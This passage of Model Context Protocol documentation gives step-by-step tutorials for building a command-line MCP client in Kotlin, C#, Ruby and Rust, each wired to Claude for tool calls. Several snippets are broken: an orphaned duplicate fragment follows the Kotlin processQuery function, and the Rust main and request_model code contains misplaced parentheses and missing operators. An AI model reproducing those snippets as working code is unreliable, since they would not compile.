dependencies { implementation("io.modelcontextprotocol:kotlin-sdk:$mcpVersion")
implementation("io.ktor:ktor-client-cio:$ktorVersion") implementation("com.anthropic:anthropic-
java:$anthropicVersion") implementation("org.slf4j:slf4j-simple:$slf4jVersion") }
```

Verify that everything is set up correctly:

```
```bash
./gradlew build
```

Setting up your API key

You'll need an Anthropic API key from the [Anthropic Console](#).

Set up your API key:

```
export ANTHROPIC_API_KEY='your-anthropic-api-key-here'
```

주의

Make sure you keep your `ANTHROPIC_API_KEY` secure!

Creating the Client

Basic Client Structure

First, let's create the basic client class:

```
class MCPClient(apiKey: String) : AutoCloseable {
    private val anthropic = AnthropicOkHttpClient.builder()
        .apiKey(apiKey)
        .build()

    private val mcp: Client = Client(
        clientInfo = Implementation(name = "mcp-client-cli", version = "1.0.0")
    )
    private var serverProcess: Process? = null
    private lateinit var tools: List<ToolUnion>

    // methods will go here

    override fun close() {
        runBlocking {
            mcp.close()
        }
        serverProcess?.destroy()
        anthropic.close()
    }
}
```

Server connection management

Next, we'll implement the method to connect to an MCP server:

```
suspend fun connectToServer(serverScriptPath: String) {
    val command = buildList {
```

```

        when (serverScriptPath.substringAfterLast(".")) {
            "js" -> add("node")
            "py" -> add(if (System.getProperty("os.name").lowercase().contains("win")) "python"
else "python3")
            "jar" -> addAll(listOf("java", "-jar"))
            else -> throw IllegalArgumentException("Server script must be a .js, .py or .jar fil
e")
        }
        add(serverScriptPath)
    }

val process = ProcessBuilder(command).start()
serverProcess = process

val transport = StdioClientTransport(
    input = process.inputStream.asSource().buffered(),
    output = process.outputStream.asSink().buffered(),
)

mcp.connect(transport)

val toolsResult = mcp.listTools()
tools = toolsResult.tools.map { tool ->
    ToolUnion.ofTool(
        Tool.builder()
            .name(tool.name)
            .description(tool.description ?: "")
            .inputSchema(
                Tool.InputSchema.builder()
                    .type(JsonValue.from(tool.inputSchema.type))
                    .properties(tool.inputSchema.properties?.toJsonValue() ?: EmptyJsonObject
t.toJsonValue())
                    .putAdditionalProperty("required", JsonValue.from(tool.inputSchema.requi
red))
                    .build(),
            )
            .build(),
    )
}
println("Connected to server with tools: ${tools.joinToString(", ") { it.tool().get().name()
}}")
}

```

JsonObject.toJsonValue() helper

This helper converts a `kotlinx.serialization JsonObject` to an Anthropic SDK `JsonValue` using Jackson:

```

private fun JsonObject.toJsonValue(): JsonValue {
    val mapper = ObjectMapper()

```

```

    val node = mapper.readTree(this.toString())
    return JsonValue.fromJsonNode(node)
}

```

Query processing logic

Now let's add the core functionality for processing queries and handling tool calls:

```

suspend fun processQuery(query: String): String {
    val messages = mutableListOf(
        MessageParam.builder()
            .role(MessageParam.Role.USER)
            .content(query)
            .build(),
    )

    val response = anthropic.messages().create(
        MessageCreateParams.builder()
            .model("claude-opus-5")
            .maxTokens(1024)
            .messages(messages)
            .tools(tools)
            .build(),
    )

    val finalText = mutableListOf<String>()
    response.content().forEach { content ->
        when {
            content.isText() -> finalText.add(content.text().get().text())

            content.isToolUse() -> {
                val toolName = content.toolUse().get().name()
                val toolArgs =
                    content.toolUse().get()._input().convert(object : TypeReference<Map<String, JsonValue>>() {}))

                val result = mcp.callTool(
                    name = toolName,
                    arguments = toolArgs ?: emptyMap(),
                )
                finalText.add("[Calling tool $toolName with args $toolArgs]")

                messages.add(
                    MessageParam.builder()
                        .role(MessageParam.Role.USER)
                        .content(
                            result.content
                                .filterIsInstance<TextContent>()
                                .joinToString("\n") { it.text }
                        )
                )
            }
        }
    }

    return finalText.joinToString("\n")
}

```

```

        .build(),
    )

    val aiResponse = anthropic.messages().create(
        MessageCreateParams.builder()
            .model("claude-opus-5")
            .maxTokens(1024)
            .messages(messages)
            .build(),
    )

    finalText.add(aiResponse.content().first().text().get().text())
}
}

return finalText.joinToString("\n")
}

```

Interactive chat

We'll add the chat loop:

```

suspend fun chatLoop() {
    println("\nMCP Client Started!")
    println("Type your queries or 'quit' to exit.")

    while (true) {
        print("\nQuery: ")
        val message = readlnOrNull() ?: break
        if (message.trim().lowercase() == "quit") break

        try {
            val response = processQuery(message)
            println("\n$response")
        } catch (e: Exception) {
            println("\nError: ${e.message}")
        }
    }
}

```

Main entry point

Finally, we'll add the main execution function:

```

fun main(args: Array<String>) = runBlocking {
    require(args.isNotEmpty()) { "Usage: java -jar <path> <path_to_server_script>" }

    val apiKey = System.getenv("ANTHROPIC_API_KEY")

```

```
require(!apiKey.isNullOrBlank()) { "ANTHROPIC_API_KEY environment variable is not set" }

    val client = MCPClient(apiKey)
    client.use {
        client.connectToServer(args.first())
        client.chatLoop()
    }
}
```

Running the client

To run your client with any MCP server:

```
./gradlew build

# Run the client
java -jar build/libs/kotlin-mcp-client-0.1.0-all.jar path/to/server.jar # JVM server
java -jar build/libs/kotlin-mcp-client-0.1.0-all.jar path/to/server.py # Python server
java -jar build/libs/kotlin-mcp-client-0.1.0-all.jar path/to/build/index.js # Node server
```

Alternatively, you can run directly with Gradle:

```
./gradlew run --args="path/to/server.jar"
```

참고

If you're continuing the weather tutorial from the server quickstart, your command might look something like this: `java -jar build/libs/kotlin-mcp-client-0.1.0-all.jar .../samples/weather-stdio-server/build/libs/weather-stdio-server-0.1.0-all.jar`

The client will:

1. Connect to the specified server
2. List available tools
3. Start an interactive chat session where you can: - Enter queries - See tool executions - Get responses from Claude

How it works

Here's a high-level workflow schema:

```
---
config:
  theme: neutral
---
```

```
sequenceDiagram
    actor User
    participant Client
    participant Claude
    participant MCP_Server as MCP Server
    participant Tools

    User->>Client: Send query
    Client<<->>MCP_Server: Get available tools
    Client->>Claude: Send query with tool descriptions
    Claude-->>Client: Decide tool execution
    Client->>MCP_Server: Request tool execution
    MCP_Server->>Tools: Execute chosen tools
    Tools-->>MCP_Server: Return results
    MCP_Server-->>Client: Send results
    Client->>Claude: Send tool results
    Claude-->>Client: Provide final response
    Client-->>User: Display response
```

When you submit a query:

1. The client gets the list of available tools from the server
2. Your query is sent to Claude along with tool descriptions
3. Claude decides which tools (if any) to use
4. The client executes any requested tool calls through the server
5. Results are sent back to Claude
6. Claude provides a natural language response
7. The response is displayed to you

Best practices

1. **Error Handling** - Leverage Kotlin's type system to model errors explicitly - Wrap external tool and API calls in `try-catch` blocks when exceptions are possible - Provide clear and meaningful error messages - Handle network timeouts and connection issues gracefully
2. **Security** - Store API keys and secrets securely in `local.properties`, environment variables, or secret managers - Validate all external responses to avoid unexpected or unsafe data usage - Be cautious with permissions and trust boundaries when using tools
3. **Environment** - Set `ANTHROPIC_API_KEY` through environment variables rather than hardcoding - Use `.env` files with appropriate `.gitignore` rules for local development

Troubleshooting

Server Path Issues

- Double-check the path to your server script is correct

- Use the absolute path if the relative path isn't working
- For Windows users, make sure to use forward slashes (/) or escaped backslashes (\) in the path
- Make sure that the required runtime is installed (java for Java, npm for Node.js, or uv for Python)
- Verify the server file has the correct extension (.jar for Java, .js for Node.js or .py for Python)

Example of correct path usage:

```
# Relative path
java -jar build/libs/client.jar ./server/build/libs/server.jar

# Absolute path
java -jar build/libs/client.jar /Users/username/projects/mcp-server/build/libs/server.jar

# Windows path (either format works)
java -jar build/libs/client.jar C:/projects/mcp-server/build/libs/server.jar
java -jar build/libs/client.jar C:\\projects\\mcp-server\\build\\libs\\server.jar
```

Build Issues

- Use `./gradlew build` or `./gradlew shadowJar` (not `./gradlew jar`) to create the shadow JAR with all dependencies
- If you get JDK version errors, ensure your installed JDK version matches or exceeds the `jvmToolchain` setting in `build.gradle.kts`

Response Timing

- The first response might take up to 30 seconds to return
- This is normal and happens while:
- The server initializes
- Claude processes the query
- Tools are being executed
- Subsequent responses are typically faster
- Don't interrupt the process during this initial waiting period

Common Error Messages

If you see:

- `Connection refused`: Ensure the server is running and the path is correct
- `Tool execution failed`: Verify the tool's required environment variables are set
- `ANTHROPIC_API_KEY is not set`: Check your environment variables

C#

[You can find the complete code for this tutorial here.](#)

System Requirements

Before starting, ensure your system meets these requirements:

- .NET 8.0 or higher
- Anthropic API key (Claude)
- Windows, Linux, or macOS

Setting up your environment

First, create a new .NET project:

```
dotnet new console -n QuickstartClient
cd QuickstartClient
```

Then, add the required dependencies to your project:

```
dotnet add package ModelContextProtocol --prerelease
dotnet add package Anthropic.SDK
dotnet add package Microsoft.Extensions.Hosting
dotnet add package Microsoft.Extensions.AI
```

Setting up your API key

You'll need an Anthropic API key from the [Anthropic Console](#).

```
dotnet user-secrets init
dotnet user-secrets set "ANTHROPIC_API_KEY" "<your key here>"
```

Creating the Client

Basic Client Structure

First, let's setup the basic client class in the file `Program.cs`:

```
using Anthropic.SDK;
using Microsoft.Extensions.AI;
using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.Hosting;
using ModelContextProtocol.Client;
using ModelContextProtocol.Protocol.Transport;

var builder = Host.CreateApplicationBuilder(args);
```

```
builder.Configuration
    .AddEnvironmentVariables()
    .AddUserSecrets<Program>();
```

This creates the beginnings of a .NET console application that can read the API key from user secrets.

Next, we'll setup the MCP Client:

```
var (command, arguments) = GetCommandAndArguments(args);

var clientTransport = new StdioClientTransport(new()
{
    Name = "Demo Server",
    Command = command,
    Arguments = arguments,
});

await using var mcpClient = await McpClient.CreateAsync(clientTransport);

var tools = await mcpClient.ListToolsAsync();
foreach (var tool in tools)
{
    Console.WriteLine($"Connected to server with tools: {tool.Name}");
}
```

Add this function at the end of the `Program.cs` file:

```
static (string command, string[] arguments) GetCommandAndArguments(string[] args)
{
    return args switch
    {
        [var script] when script.EndsWith(".py") => ("python", args),
        [var script] when script.EndsWith(".js") => ("node", args),
        [var script] when Directory.Exists(script) || (File.Exists(script) && script.EndsWith(".csproj")) => ("dotnet", ["run", "--project", script, "--no-build"]),
        _ => throw new NotSupportedException("An unsupported server script was provided. Supported scripts are .py, .js, or .csproj")
    };
}
```

This creates an MCP client that will connect to a server that is provided as a command line argument. It then lists the available tools from the connected server.

Query processing logic

Now let's add the core functionality for processing queries and handling tool calls:

```

using var anthropicClient = new AnthropicClient(new APIAuthentication(builder.Configuration["ANTHROPIC_API_KEY"]))
    .Messages
    .AsBuilder()
    .UseFunctionInvocation()
    .Build();

var options = new ChatOptions
{
    MaxOutputTokens = 1000,
    ModelId = "claude-opus-5",
    Tools = [.. tools]
};

Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("MCP Client Started!");
Console.ResetColor();

PromptForInput();
while(Console.ReadLine() is string query && !"exit".Equals(query, StringComparison.OrdinalIgnoreCase))
{
    if (string.IsNullOrEmpty(query))
    {
        PromptForInput();
        continue;
    }

    await foreach (var message in anthropicClient.GetStreamingResponseAsync(query, options))
    {
        Console.Write(message);
    }
    Console.WriteLine();

    PromptForInput();
}

static void PromptForInput()
{
    Console.WriteLine("Enter a command (or 'exit' to quit):");
    Console.ForegroundColor = ConsoleColor.Cyan;
    Console.Write("> ");
    Console.ResetColor();
}

```

Key Components Explained

1. Client Initialization

- The client is initialized using `McpClient.CreateAsync()`, which sets up the transport type and command to run the server.

2. Server Connection

- Supports Python, Node.js, and .NET servers.
- The server is started using the command specified in the arguments.
- Configures to use stdio for communication with the server.
- Initializes the session and available tools.

3. Query Processing

- Leverages [Microsoft.Extensions.AI](#) for the chat client.
- Configures the `IChatClient` to use automatic tool (function) invocation.
- The client reads user input and sends it to the server.
- The server processes the query and returns a response.
- The response is displayed to the user.

Running the Client

To run your client with any MCP server:

```
dotnet run -- path/to/server.csproj # dotnet server
dotnet run -- path/to/server.py # python server
dotnet run -- path/to/server.js # node server
```

참고

If you're continuing the weather tutorial from the server quickstart, your command might look something like this: `dotnet run -- path/to/QuickstartWeatherServer`.

The client will:

1. Connect to the specified server
2. List available tools
3. Start an interactive chat session where you can: - Enter queries - See tool executions - Get responses from Claude
4. Exit the session when done

Here's an example of what it should look like if connected to the weather server quickstart:



Ruby

[You can find the complete code for this tutorial here.](#)

System Requirements

Before starting, ensure your system meets these requirements:

- Mac or Windows computer
- Ruby 3.2.0 or higher installed (required by the [Anthropic SDK](#))
- Anthropic API key (Claude)

Setting Up Your Environment

First, create a new Ruby project:

```
```bash macOS/Linux
```

## Create project directory

---

```
mkdir mcp-client cd mcp-client
```

## Create a Gemfile

---

```
bundle init
```

## Add required dependencies

---

```
bundle add anthropic base64 dotenv mcp
```

## Create our main file

---

```
touch client.rb
```

```
```powershell Windows
# Create project directory
mkdir mcp-client
cd mcp-client

# Create a Gemfile
```

```
bundle init

# Add required dependencies
bundle add anthropic base64 dotenv mcp

# Create our main file
new-item client.rb
```

Setting Up Your API Key

You'll need an Anthropic API key from the [Anthropic Console](#).

Create a `.env` file to store it:

```
echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env
```

Add `.env` to your `.gitignore`:

```
echo ".env" >> .gitignore
```

주의

Make sure you keep your `ANTHROPIC_API_KEY` secure!

Creating the Client

Basic Client Structure

First, let's set up our requires and create the basic client class:

```
require "anthropic"
require "dotenv/load"
require "json"
require "mcp"

class MCPClient
  ANTHROPIC_MODEL = "claude-opus-5"

  def initialize
    @mcp_client = nil
    @transport = nil
    @anthropic_client = nil
  end
end
```

```
# methods will go here
end
```

Server Connection Management

Next, we'll implement the method to connect to an MCP server:

```
def connect_to_server(server_script_path)
  command = case File.extname(server_script_path)
  when ".rb"
    "ruby"
  when ".py"
    "python3"
  when ".js"
    "node"
  else
    raise ArgumentError, "Server script must be a .rb, .py, or .js file."
  end

  @transport = MCP::Client::Stdio.new(command: command, args: [server_script_path])
  @mcp_client = MCP::Client.new(transport: @transport)
  @mcp_client.connect

  tool_names = @mcp_client.tools.map(&:name)
  puts "\nConnected to server with tools: #{tool_names}"
end
```

Query Processing Logic

Now let's add the core functionality for processing queries and handling tool calls:

```
private

def process_query(query)
  messages = [{ role: "user", content: query }]

  available_tools = @mcp_client.tools.map do |tool|
    { name: tool.name, description: tool.description, input_schema: tool.input_schema }
  end

  # Initial Claude API call.
  response = chat(messages, tools: available_tools)

  # Process response and handle tool calls.
  if response.content.any?(Anthropic::Models::ToolUseBlock)
    assistant_content = response.content.filter_map do |content_block|
      case content_block
      when Anthropic::Models::TextBlock
        { type: "text", text: content_block.text }
      end
    end
  end
```



```

    when Anthropic::Models::ToolUseBlock
      { type: "tool_use", id: content_block.id, name: content_block.name, input: content_block.i
nput }
    end
  end
  messages << { role: "assistant", content: assistant_content }
end

response.content.each_with_object([]) do |content, response_parts|
  case content
  when Anthropic::Models::TextBlock
    response_parts << content.text
  when Anthropic::Models::ToolUseBlock
    # Execute tool call via MCP.
    result = @mcp_client.call_tool(name: content.name, arguments: content.input)
    response_parts << "[Calling tool #{content.name} with args #{content.input.to_json}]"

    tool_result_content = result.dig("result", "content")
    result_text = if tool_result_content.is_a?(Array)
      tool_result_content.filter_map { |content_item| content_item["text"] }.join("\n")
    else
      tool_result_content.to_s
    end

    messages << {
      role: "user",
      content: [{
        type: "tool_result",
        tool_use_id: content.id,
        content: result_text
      }]
    }

    # Get next response from Claude.
    response = chat(messages)

    response.content.each do |content_block|
      response_parts << content_block.text if content_block.is_a?(Anthropic::Models::TextBloc
k)
    end
  end
  end.join("\n")
end

def chat(messages, tools: nil)
  params = { model: ANTHROPIC_MODEL, max_tokens: 1000, messages: messages }
  params[:tools] = tools if tools

  anthropic_client.messages.create(**params)
end

```

```
def anthropic_client
  @anthropic_client ||= Anthropic::Client.new(api_key: ENV["ANTHROPIC_API_KEY"])
end
```

Interactive Chat Interface

Now we'll add the chat loop and cleanup functionality:

```
def chat_loop
  puts <<~MESSAGE
    MCP Client Started!
    Type your queries or 'quit' to exit.
  MESSAGE

  loop do
    print "\nQuery: "
    line = $stdin.gets
    break if line.nil?

    query = line.chomp.strip
    break if query.downcase == "quit"
    next if query.empty?

    begin
      response = process_query(query)
      puts "\n#{response}"
    rescue => e
      puts "\nError: #{e.message}"
    end
  end
end

def cleanup
  @transport&.close
end
```

Main Entry Point

Finally, we'll add the main execution logic:

```
if ARGV.empty?
  puts "Usage: ruby client.rb <path_to_server_script>"
  exit 1
end

client = MCPClient.new

begin
  client.connect_to_server(ARGV[0])
```

```

api_key = ENV["ANTHROPIC_API_KEY"]
if api_key.nil? || api_key.empty?
  puts <<~MESSAGE
    No ANTHROPIC_API_KEY found. To query these tools with Claude, set your API key:
    export ANTHROPIC_API_KEY=your-api-key-here
  MESSAGE
  exit
end

client.chat_loop
rescue => e
  puts "Error: #{e.message}"
  exit 1
ensure
  client.cleanup
end

```

You can find the complete `client.rb` file [here](#).

Key Components Explained

1. Client Initialization

- The `MCPClient` class initializes with nil references for lazy setup
- The Anthropic client is lazily initialized via the `anthropic_client` method
- Uses `dotenv` to load environment variables from `.env`

2. Server Connection

- Supports Ruby, Python, and Node.js servers
- Uses `File.extname` to determine the server script type
- Uses `MCP::Client::Stdio` for stdio transport
- Initializes the MCP client and lists available tools

3. Query Processing

- Maps MCP tools to Anthropic tool format (`name`, `description`, `input_schema`)
- Uses `Anthropic::Models::TextBlock` and `Anthropic::Models::ToolUseBlock` for pattern matching
- Builds assistant content once before iterating tool calls
- Executes tool calls via `@mcp_client.call_tool`
- Uses `chat` helper method to wrap Anthropic API calls
- Extracts tool result content with `result.dig("result", "content")`
- Passes tool results back to Claude for a final response

4. Interactive Interface

- Provides a simple command-line interface
- Handles user input and displays responses
- Skips empty queries
- Includes basic error handling

5. Resource Management

- Proper cleanup of the transport via `begin ... ensure`
- Top-level `rescue` for error handling
- API key validation after server connection

Running the Client

To run your client with any MCP server:

```
bundle exec ruby client.rb path/to/server.rb # ruby server
bundle exec ruby client.rb path/to/server.py # python server
bundle exec ruby client.rb path/to/build/index.js # node server
```

참고

If you're continuing [the weather tutorial from the server quickstart](#), your command might look something like this: `bundle exec ruby client.rb /path/to/weather-server-ruby/weather.rb`

The client will:

1. Connect to the specified server
2. List available tools
3. Start an interactive chat session where you can: - Enter queries - See tool executions - Get responses from Claude

How It Works

When you submit a query:

1. The client gets the list of available tools from the server
2. Your query is sent to Claude along with tool descriptions
3. Claude decides which tools (if any) to use
4. The client executes any requested tool calls through the server
5. Results are sent back to Claude
6. Claude provides a natural language response
7. The response is displayed to you

Best practices

1. **Error Handling** - Wrap tool calls in `begin ... rescue` blocks - Provide meaningful error messages - Gracefully handle connection issues
2. **Resource Management** - Always close the transport when done - Use `begin ... ensure` for proper cleanup - Handle server disconnections
3. **Security** - Store API keys securely in `.env` - Validate server responses - Be cautious with tool permissions
4. **Tool Names** - Tool names can be validated according to the format specified [here](#) - If a tool name conforms to the specified format, it should not fail validation by an MCP client

Troubleshooting

Server Path Issues

- Double-check the path to your server script is correct
- Use the absolute path if the relative path isn't working
- For Windows users, make sure to use forward slashes (/) or escaped backslashes (\) in the path
- Verify the server file has the correct extension (.py for Python, .js for Node.js, or .rb for Ruby)

Example of correct path usage:

```
# Relative path
bundle exec ruby client.rb ./server/weather.rb

# Absolute path
bundle exec ruby client.rb /Users/username/projects/mcp-server/weather.rb

# Windows path (either format works)
bundle exec ruby client.rb C:/projects/mcp-server/weather.rb
bundle exec ruby client.rb C:\\projects\\mcp-server\\weather.rb
```

Response Timing

- The first response might take up to 30 seconds to return
- This is normal and happens while:
- The server initializes
- Claude processes the query
- Tools are being executed
- Subsequent responses are typically faster
- Don't interrupt the process during this initial waiting period

Common Error Messages

If you see:

- `Errno::ENOENT`: Check your server path and ensure the command (`ruby`, `python3`, `node`) is available
- `Connection refused`: Ensure the server is running and the path is correct
- `Tool execution failed`: Verify the tool's required environment variables are set
- `Anthropic::Errors::AuthenticationError`: Check your `.env` file has a valid `ANTHROPIC_API_KEY`

Rust

[You can find the complete code for this tutorial here.](#)

System Requirements

Before starting, ensure your Linux system meets these requirements:

- Latest stable version of [Rust and Cargo](#)
- Anthropic API key (Claude)
- A Python, Node.js, or executable MCP server to connect to

Setting Up Your Environment

First, create a new Rust project:

```
cargo new mcp-client-rust
cd mcp-client-rust
```

Replace the contents of `Cargo.toml` with the following:

```
``toml Cargo.toml [package] name = "mcp-client-rust" version = "0.1.0" edition = "2024"

[dependencies] anyhow = "1.0.100" genai = "0.4.2" rmcp = { version = "0.8.0", features = ["server",
"client", "transport-io", "transport-child-process"] } tokio = { version = "1.47.1", features = ["full"] }
tracing = "0.1.41" tracing-subscriber = { version = "0.3", features = ["env-filter"] } serde_json =
"1.0.128" dotenvy = "0.15.7" reqwest = "0.12.23"
```

The `[`rmcp`](https://github.com/modelcontextprotocol/rust-sdk)` crate provides the Rust MCP SDK and child-process transport. This example uses the `[`genai`](https://github.com/jeremychone/rust-genai)` crate to send requests to Claude and represent tools in the model request.

Setting Up Your API Key

You'll need an Anthropic API key from the `[Anthropic Console](https://console.anthropic.com/settings/keys)`.

Create a `.env` file to store it:

```
```bash
echo "ANTHROPIC_API_KEY=your-api-key-goes-here" > .env
```

Add `.env` to your `.gitignore`:

```
echo ".env" >> .gitignore
```

## 주의

Make sure you keep your `ANTHROPIC_API_KEY` secure!

## Creating the Client

Open `src/main.rs` and replace its contents as you work through the following sections.

### Imports and Client Structure

First, add the imports, model constant, and basic client structure:

```
use anyhow::{Context, Result, bail};
use genai::Client;
use genai::chat::{
 ChatMessage, ChatRequest, ChatResponse, ContentPart, Tool as GenaiTool, ToolResponse,
};
use rmcp::model::{CallToolRequestParam, Tool as McpTool};
use rmcp::service::{RoleClient, RunningService, ServiceExt};
use rmcp::transport::TokioChildProcess;
use serde_json::Value;
use tokio::io::{self, AsyncBufReadExt, BufReader};
use tokio::process::Command;

const MODEL_ANTHROPIC: &str = "claude-opus-5";

struct MCPClient {
 anthropic: Client,
 session: Option<RunningService<RoleClient, ()>>,
 tools: Vec<GenaiTool>,
}
```

The client keeps the model API client, the active MCP session, and the tools advertised by the connected server.

## Client Initialization

Next, initialize the model client and start without an MCP session or tools:

```
impl MCPClient {
 fn new() -> Result<Self> {
 Ok(MCPClient {
 anthropic: Client::default(),
 session: None,
 tools: Vec::new(),
 })
 }

 // Additional methods will go here.
}
```

`genai::Client::default()` reads the `ANTHROPIC_API_KEY` environment variable when it sends a request.

## Server Connection Management

Add this method inside the `impl MCPClient` block:

```
async fn connect_to_server(&mut self, server_args: &[String]) -> Result<()> {
 if self.session.is_some() {
 bail!("Client is already connected to a server");
 }

 let mut command = Command::new(&server_args[0]);
 command.args(&server_args[1..]);

 let process = TokioChildProcess::new(command)
 .with_context(|| format!("Failed to spawn server process for {:?}", server_args))?;

 let session = ().serve(process).await?;

 let rmcp_tools = session
 .list_all_tools()
 .await
 .context("Unable to list tools from server")?;

 let tool_names: Vec<String> = rmcp_tools
 .iter()
 .map(|tool| tool.name.to_string())
 .collect();

 println!("Connected to server with tools: {tool_names:?}");

 self.tools = convert_tools(&rmcp_tools);
}
```



```

 self.session = Some(session);
 Ok(())
}

```

This method:

1. Starts the server as a child process using the command and arguments supplied on the command line
2. Establishes an MCP session over stdio
3. Lists all tools advertised by the server
4. Converts those tools into the format used in model requests

## Converting MCP Tools

Add this function outside the `impl MCPClient` block:

```

fn convert_tools(tools: &[McpTool]) -> Vec<GenaiTool> {
 tools
 .iter()
 .map(|tool| GenaiTool {
 name: tool.name.to_string(),
 description: tool.description.as_deref().map(str::to_string),
 schema: Some(Value::Object(tool.input_schema.as_ref().clone())),
 config: None,
 })
 .collect()
}

```

MCP and model APIs describe tools with similar information but different Rust types. `convert_tools` maps each MCP tool's name, description, and input schema into a `genai` tool definition.

## Sending Model Requests

Add this helper method inside `impl MCPClient`:

```

async fn request_model(&self, chat_req: &ChatRequest) -> Result<ChatResponse> {
 let response = self
 .anthropic
 .exec_chat(MODEL_ANTHROPIC, chat_req.clone(), None)
 .await
 .context("Anthropic chat request failed");

 Ok(response)
}

```

This keeps model request handling in one place and adds useful context if the API request fails.

## Query Processing Logic

Now add the core query-processing method inside `impl MCPClient`:

```
async fn process_query(&mut self, query: &str) -> Result<String> {
 let session = self
 .session
 .as_ref()
 .context("Client is not connected to any server")?;

 let mut messages = vec![ChatMessage::user(query)];
 let mut final_text = Vec::new();

 // Initial Claude API call with tools
 let mut chat_req = ChatRequest::new(messages.clone()).with_tools(self.tools.clone());
 let mut chat_rsp = self.request_model(&chat_req).await?;

 // Process response content - collect text and handle tool calls
 for text in chat_rsp.texts() {
 final_text.push(text.to_string());
 }

 let tool_calls = chat_rsp.tool_calls();
 if !tool_calls.is_empty() {
 // Append assistant's response to message history
 messages.push(ChatMessage::assistant(chat_rsp.content.clone()));

 // Execute each tool call and collect responses
 let mut tool_results = Vec::new();
 for tool_call in tool_calls {
 // Add information about the tool call to final text
 let tool_args_str = serde_json::to_string(&tool_call.fn_arguments)
 .unwrap_or_else(|_| "{}".to_string());

 final_text.push(format!(
 "[Calling tool {} with args {}]",
 tool_call.fn_name, tool_args_str
));

 // Query the MCP server
 let tool_result = session
 .call_tool(CallToolRequestParam {
 name: tool_call.fn_name.clone().into(),
 arguments: tool_call.fn_arguments.as_object().cloned(),
 })
 .await
 .with_context(|| format!("Tool call {} failed", tool_call.fn_name))?;

 let payload = serde_json::to_string(&tool_result)
 .context("Failed to serialize tool result")?;
```

```

 tool_results.push(ContentPart::ToolResponse(ToolResponse::new(
 tool_call.call_id.clone(),
 payload,
)));
 }

 // Append tool responses to message history
 messages.push(ChatMessage::user(tool_results));

 // Build the next request and query model
 chat_req = ChatRequest::new(messages.clone());
 chat_rsp = self.request_model(&chat_req).await?;

 // Collect text from response
 for text in chat_rsp.texts() {
 final_text.push(text.to_string());
 }
}

Ok(final_text.join("\n"))
}

```

The method first sends the user's query and available tools to Claude. When Claude requests tools, the client executes each request through the MCP session, sends the results back to Claude, and collects the final text response.

## Interactive Chat Interface

Add the interactive terminal loop inside `impl MCPClient`:

```

async fn chat_loop(&mut self) -> Result<> {
 println!("\nMCP Client Started!");
 println!("Type your queries or 'quit' to exit.");

 let mut stdin = BufReader::new(io::stdin());
 let mut input = String::new();

 loop {
 print!("\nQuery: ");
 std::io::Write::flush(&mut std::io::stdout());

 input.clear();
 if stdin.read_line(&mut input).await? == 0 {
 break; // EOF
 }

 let query = input.trim();
 if query.eq_ignore_ascii_case("quit") {

```

```

 break;
 }
 if query.is_empty() {
 continue;
 }

 match self.process_query(query).await {
 Ok(response) => println!("\n{}", response),
 Err(err) => println!("\nError: {}", err),
 }
}

Ok(())
}

```

The loop accepts queries until the user types `quit` or closes standard input. Query errors are printed without terminating the client.

## Cleanup

Add this method inside `impl MCPClient` to stop the MCP session and child process:

```

async fn cleanup(&mut self) -> Result<()> {
 if let Some(session) = self.session.take() {
 let _ = session.cancel().await;
 }
 Ok(())
}

```

## Main Entry Point

Finally, add the asynchronous entry point outside the `impl MCPClient` block:

```

#[tokio::main]
async fn main() -> Result<()> {
 dotenvy::dotenv().context("Failed to load env file"?);

 let mut args = std::env::args();
 let _ = args.next();
 let server_args: Vec<String> = args.collect();

 if server_args.is_empty() {
 eprintln!("Usage: cargo run -- <server_script_or_binary> [args...]");
 std::process::exit(1);
 }

 let mut client = MCPClient::new()?;
}

```

```

let result = async {
 client.connect_to_server(&server_args).await?;
 client.chat_loop().await
}
.await;

let cleanup_result = client.cleanup().await;

result?;
cleanup_result?;

 Ok(())
}

```

The entry point loads `.env`, treats all remaining command-line arguments as the server command, connects the client, starts the chat loop, and ensures cleanup runs before exiting.

## Verify the Complete File

Before running the client, confirm the items in `src/main.rs` are placed at the correct scope:

- `new`, `connect_to_server`, `process_query`, `request_model`, `chat_loop`, and `cleanup` are methods inside the single `impl MCPClient` block.
- `main` and `convert_tools` are functions outside the `impl MCPClient` block.

Rust does not require these items to appear in a particular order, but methods and free functions must be placed in the correct scope. Compare your file with the [complete `src/main.rs` example](#), then check that it compiles:

```

cargo fmt --check
cargo check

```

## Running the Client

Use `cargo run --` followed by the command you would normally use to start the MCP server:

```

Python server
cargo run -- python path/to/server.py

Node.js server
cargo run -- node path/to/build/index.js

Executable server
cargo run -- path/to/server-binary

```

Running bare `cargo run` without a server command prints the usage message and exits.

## 참고

If you're continuing [the weather tutorial from the server quickstart](#), build the server first and then run a command similar to: `cargo run -- ../weather-server-rust/target/debug/weather`

The client will:

1. Start and connect to the specified MCP server
2. List the tools available from that server
3. Start an interactive chat session where you can: - Enter queries - See tool executions - Get responses from Claude

## How It Works

---

When you submit a query:

1. The client sends your query and the server's available tools to Claude
2. Claude decides which tools, if any, to use
3. The client executes requested tools through the MCP session
4. Tool results are sent back to Claude
5. Claude provides a natural language response
6. The response is displayed in the terminal

## Best Practices

---

1. **Error Handling** - Add context to errors at process, MCP, model API, and serialization boundaries - Report individual query errors without terminating the interactive session - Validate server commands before running them
2. **Resource Management** - Always cancel the MCP session during cleanup - Ensure cleanup runs even when connection or chat-loop operations fail - Avoid starting a second server while a session is active
3. **Security** - Store API keys securely in `.env` - Review the tools exposed by a server before allowing model-driven calls - Connect only to servers and executable commands you trust

## Troubleshooting

---

### Server Command Issues

The arguments after `cargo run --` must form a complete command. Interpreted server scripts need their runtime:

```
Correct
cargo run -- python ./server/weather.py
cargo run -- node ./server/build/index.js

Incorrect: a Python script is not necessarily executable by itself
cargo run -- ./server/weather.py
```

If a command cannot be found, use its absolute path or verify it is available in your `PATH`.

## Environment File Issues

If you see `Failed to load env file`, ensure `.env` exists in the directory where you run the client.

If the model request reports a missing API key, confirm that `.env` contains:

```
ANTHROPIC_API_KEY=your-api-key-goes-here
```

## Tool and Response Errors

- `Unable to list tools from server`: Verify the server starts successfully and communicates over stdio
- `Tool call ... failed`: Verify the server tool's required arguments and environment variables
- `Failed to serialize tool result`: Inspect the server's response for unsupported or malformed content

## Next steps

---

### [Example servers](#)

Check out our gallery of official MCP servers and implementations

# Build an MCP server

---

mcp/docs/2026-07-28/develop/build-server.mdx

In this tutorial, we'll build a simple MCP weather server and connect it to a host, Claude for Desktop.

## What we'll be building

